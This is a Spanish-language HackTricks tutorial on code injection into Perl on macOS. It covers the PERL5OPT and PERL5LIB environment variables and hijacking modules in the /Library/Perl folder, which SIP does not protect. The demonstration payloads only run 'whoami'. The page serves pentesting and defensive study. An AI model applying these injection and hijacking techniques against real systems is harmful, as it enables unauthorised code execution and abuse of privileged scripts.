5.4 KiB
Inyección de Aplicaciones Perl en macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
A través de las variables de entorno PERL5OPT
y PERL5LIB
Usando la variable de entorno PERL5OPT es posible hacer que perl ejecute comandos arbitrarios.
Por ejemplo, crea este script:
{% code title="test.pl" %}
#!/usr/bin/perl
print "Hello from the Perl script!\n";
{% endcode %}
Ahora exporta la variable de entorno y ejecuta el script perl:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Otra opción es crear un módulo Perl (por ejemplo, /tmp/pmod.pm
):
{% code title="/tmp/pmod.pm" %}
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
{% endcode %}
Y luego utiliza las variables de entorno:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
A través de dependencias
Es posible listar el orden de las carpetas de dependencias de Perl en ejecución:
perl -e 'print join("\n", @INC)'
Lo cual devolverá algo como:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Algunas de las carpetas devueltas ni siquiera existen, sin embargo, /Library/Perl/5.30
sí existe, no está protegida por SIP y está antes de las carpetas protegidas por SIP. Por lo tanto, alguien podría abusar de esa carpeta para agregar dependencias de scripts y hacer que un script Perl de alto privilegio las cargue.
{% hint style="warning" %} Sin embargo, ten en cuenta que necesitas ser root para escribir en esa carpeta y hoy en día obtendrás esta solicitud de TCC: {% endhint %}
Por ejemplo, si un script está importando use File::Basename;
, sería posible crear /Library/Perl/5.30/File/Basename.pm
para ejecutar código arbitrario.
Referencias
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.